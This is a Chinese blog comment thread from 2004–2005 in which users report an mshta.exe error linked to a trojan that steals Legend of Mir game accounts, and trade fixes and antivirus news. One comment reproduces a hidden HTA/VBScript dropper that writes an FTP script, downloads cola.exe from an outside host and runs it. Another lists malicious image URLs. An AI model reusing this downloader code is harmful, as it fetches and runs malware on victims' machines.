SYMPTOMSWhen you start the Add/Remove Programs tool in Control Panel on a computer running Microsoft Windows 2000 Professional, the following error message may be displayed:
Mshta.exe has generated errors and will be closed by Windows
RESOLUTIONTo resolve the behavior, type the following commands in the Run dialog box:
sfc /purgecache
sfc /scannow
NOTE: Windows 2000 prompts you to insert the Windows 2000 Professional CD-ROM to complete these commands.
If you run these commands and the behavior is not resolved, perform an in-place upgrade of Windows 2000 Professional.
??mshta.exe难道不是windows的“添加/删除程序”对话框么?
charlee —— 2004年06月20日 @5:27 pm
病毒利用了一个漏洞……
李马 —— 2004年06月20日 @5:34 pm
我的电脑也中招了,有什么解决方案吗?
cc —— 2004年07月01日 @11:09 pm
呵呵,后来我是格了系统的-_-#
李马 —— 2004年07月02日 @8:32 am
<html>

<HTA:APPLICATION caption="no" border="none" showInTaskBar="no" windowState="minimize" width=0 height=0>
<object id=’wsh’ classid=’clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B’ width=0 height=0></object>
<script language="VBScript">
Dim fs, t
Set fs = CreateObject("Scripting.FileSystemObject")
Set t = fs.CreateTextFile("cola.txt",True)
t.WriteLine("open http://www.18600.net"
t.WriteLine("ftp")
t.WriteLine("any@any.net")
t.WriteLine("bin")
t.WriteLine("lcd d:\")
t.WriteLine("get cola.exe")
t.WriteLine("bye")
t.Close
wsh.Run "ftp -s:cola.txt",0,true
wsh.Run "d:\cola.exe"
window.close
</script>
</html>
Loist —— 2004年07月05日 @10:34 pm
我也遇到了和你一样的遭遇,在搜索解决方案的时候,看见了你的这种情况,仿佛遇到了通路中人,不知道老兄是否找到了解决方案啊?
luxh —— 2004年07月09日 @2:19 pm
我用的是卡斯巴基升级到最新的病毒库都不行!!! Seeking….
Rockyhan —— 2004年07月29日 @9:17 pm
how to do ??/
help me!
apone —— 2004年07月30日 @10:21 pm
o ..my god…i got it
bb —— 2004年08月05日 @10:07 pm
不知道英文的解决方法你能不能看懂
SYMPTOMSWhen you start the Add/Remove Programs tool in Control Panel on a computer running Microsoft Windows 2000 Professional, the following error message may be displayed:
Mshta.exe has generated errors and will be closed by Windows
RESOLUTIONTo resolve the behavior, type the following commands in the Run dialog box:
sfc /purgecache
sfc /scannow
NOTE: Windows 2000 prompts you to insert the Windows 2000 Professional CD-ROM to complete these commands.
If you run these commands and the behavior is not resolved, perform an in-place upgrade of Windows 2000 Professional.
徐非 —— 2004年08月09日 @7:38 pm
我也遇到同样的问题。也是让我头痛!
semilog —— 2004年08月16日 @1:10 pm
这个是盗传奇号的!
飞飞猫 —— 2004年08月26日 @3:25 pm
点击网络美女照片可要小心了,2月27日,来自瑞星的消息称,一个传播非常迅速、破坏性很强的的恶性病毒———“美女杀手(Trojan.Legend.Syspoet)”近日被发现。
该病毒会将自己伪装成http://qianhui.9966.org/zhaopian/me.jpg之类的网址”>http://qianhui.9966.org/zhaopian/me.jpg之类的网址,当用户点击该网址时会出现一幅美女照片,当照片被打开时用户的电脑则已经被病毒感染。
据介绍,该病毒会利用微软浏览器的漏洞进行攻击,浏览器版本级别低于IE6.0SP1的电脑染毒后,病毒会修改一些文件的关联,导致OFFICE软件、任务管理器、注册表编辑器等程序无法使用。该病毒还会破坏资源管理器,只要用户打开四层以上的目录,病毒就会自动关闭“资源管理器”。
该病毒还会关掉含有“杀毒”字样的窗口,因此会造成一些反病毒软件及病毒专杀工具无法使用,一些反病毒公司的主页无法登录等现象。另外,该病毒还会修改用户电脑的系统配置,导致用户重启系统时无法进入“我的电脑”。
除此之外,该病毒还会盗取《传奇》游戏的密码和其他信息,并通过十几个邮件服务器,向外发送大量的病毒邮件,阻塞网络。
瑞星反病毒工程师介绍说,没有被感染的用户可以通过个人防火墙来预防该病毒,当用户发现有“Mshta.exe”的程序访问外部网络时,应该立刻禁止,如果该程序访问网络成功,将会对用户电脑产生上述破坏。
据悉,像“美女杀手”这种通过图片链接地址感染计算机的病毒已经大量在网络中涌现,而且大多数是通过QQ软件进行传播的,因此当用户收到以下网址时,千万不要点击:http://qiumei.3322.org/zhaopian/me.jpg
http://jiawei.6600.org/zhaopian/me.jpg
http://siting.8800.org/zhaopian/me.jpg
http://qianhui.9966.org/zhaopian/me.jpg
http://xiujuan.2288.org/zhaopian/me.jpg
http://www.onlyy.net/soft/haha.jpg
因为这些地址不但会出现美女照片,还会使用户中毒,而且当用户收到类似网址时,也要注意分辨,不要轻易点击。
飞飞猫 —— 2004年08月26日 @3:31 pm
上面的链不能点!!!!!!!!!!!!!!!!!!千万不能点!!!!!!!!!!!
飞飞猫 —— 2004年08月26日 @3:35 pm
help!大虾都被虫子吃掉了吗?
scott —— 2004年09月15日 @3:28 pm
0、先手动删除ie中,桌面、回收站中的恶意信息;
1、再打开注册表,查询并删除所有mshta.exe及恶意网址的指令条;
2、安装3721的上网助手,清理host表。
试试吧,我的没问题。
SS —— 2004年09月17日 @10:17 am
我机子上也有了。一个进程占用4M多的内存啊。怎么清除啊。
tgyf —— 2004年09月19日 @4:50 pm
中毒的表现是什么呢?
poky —— 2004年09月27日 @1:44 pm
我用瑞星的10.4号的杀了它,不过我是把硬盘挂在另一台机器上杀的,我今晚回来试试杀完后怎么样。我的状态现在是上网后,发包太多,都无法打开网页拉
jiangyu —— 2004年10月11日 @2:44 pm
我是不是可以限制上面所指到的站点?
这样是不是对机子有点好处?
olly —— 2004年10月21日 @10:07 pm
大家好,今早上无意中发现自己的天网自动关了,我就知道又中木马了,没有想到我杀了HWS.EXE后发现还有一个MSHTA.EXE也是陌生的,所以就上网来看一下,没有想到还是传奇盗号的,我就用超级兔子把所有的可疑进程终止了,然后到DOS下把主程序干掉,呵呵,进系统一下,没有了,我的天网又可以开了,我先前杀的只是HWS。EXE,开机后才发现MSHTA也是不对劲的,所以就顺手就杀了,都没有什么反应,看来是杀掉了,大家看一下用同样的方法,行不?
seagull112 —— 2004年10月31日 @8:16 am
这种病毒怎么杀啊?好恐怖哦。
恐怖片 —— 2004年11月16日 @12:33 pm
在控制面板里点击用户帐户,无反映,进程里显示mshta.exe运行,但是小写的,不是MSHTA.EXE,进入不了用户帐户里。怎么回事,上网看到有许多人说中了mshta.exe的毒,是不是啊,我其他的没什么问题,CUP和内存工作正常,谢谢了
newt —— 2004年12月03日 @7:08 pm
我不小心也中了,可是我没有Windows 2000 Professional CD-ROM ,有没大虾有更好的方法。
丁丁 —— 2004年12月23日 @12:45 pm
同样的命运也降临到我身上了,my god!
我真的是束手无策!
tina —— 2004年12月27日 @11:07 pm
同样的命运也降临到我身上了!哪位大哥帮帮我????????//
tao —— 2004年12月28日 @12:51 pm
用MCAFEE可以有效殺除並防止此病毒入侵!
用MCAFEE可以有效殺除並防止此病毒入侵! —— 2004年12月29日 @10:34 am
Kingsoft的病毒专家在那里 啊!!~~
木无缘 —— 2005年01月08日 @12:52 pm
mshta.exe让我心力交瘁,怎么就是杀不了呢?伤脑筋啊,help
jfkk —— 2005年01月10日 @1:32 pm
0、先手动删除ie中,桌面、回收站中的恶意信息;
1、再打开注册表,查询并删除所有mshta.exe及恶意网址的指令条;
2、安装3721的上网助手,清理host表。
3、在Windows目录下查找文件,如找到除/system32目录以外的rundll32.exe文件,一概删除,如不能删除,可能需要在任务管理器中停止rundll32进程(注:为小写字母的)
njzhaoy —— 2005年01月10日 @8:05 pm
mshta.exe好像是系统里的文件,没有了这个文件,XP的用户管理是打不开的。我把所有网络断开了,然后就格式化重装了系统,这个文件就出来了,要是把这个文件删了,用户管理又打不开了
kenl —— 2005年01月21日 @1:46 pm
我也遇到这问题了,已解决。
就在“运行”里先后键入以下两条指令即可:
sfc /purgecache
sfc /scannow
中间会让你插如WIN2000 PROFESSIONAL光盘,我插了一张, 虽然没认,我就给忽略了, 最后也可以了。大家可以试试。
解决了 —— 2005年01月25日 @1:32 pm
我也中标了,添加/删除程序无法运行,双击它会运行mshta.exe这个东东,占内存空间很大,后来去查了一上,得知:下载一个IE6SETUP.EXE安装一下,就不会出现这种情况了。但是在电脑里还是有这个mshta.exe,不知道是不是没有杀清楚呢?
jingying —— 2005年02月04日 @9:26 am
我也遇到了这样的问题,在添加/删除程序中也不行,在C:盘中把文件删了也不行呀,谁有办法告诉我
llh —— 2005年03月29日 @3:55 pm
我的机子别的没有什么问题,就是在关闭用户帐户的时候它说我:mshta.exe-应用程序错误
"0×00cb3f96"指令引用的"0X00CC0404"内存.该内存不能为"READ".
请问是不是也中了病毒了啊~~~谢谢大家帮我解决一下.
yefengfeiyang —— 2005年04月25日 @12:26 pm
我是在改用户名的时候进不去了,却发现任务管理里面多了mshta烦啊
st.boy —— 2005年05月28日 @9:40 pm
我中了mshta.exe CPU利用率达到!100%机子慢的像蜗牛
那位大虾帮下小虾米
ahafvbvb —— 2005年11月03日 @10:07 am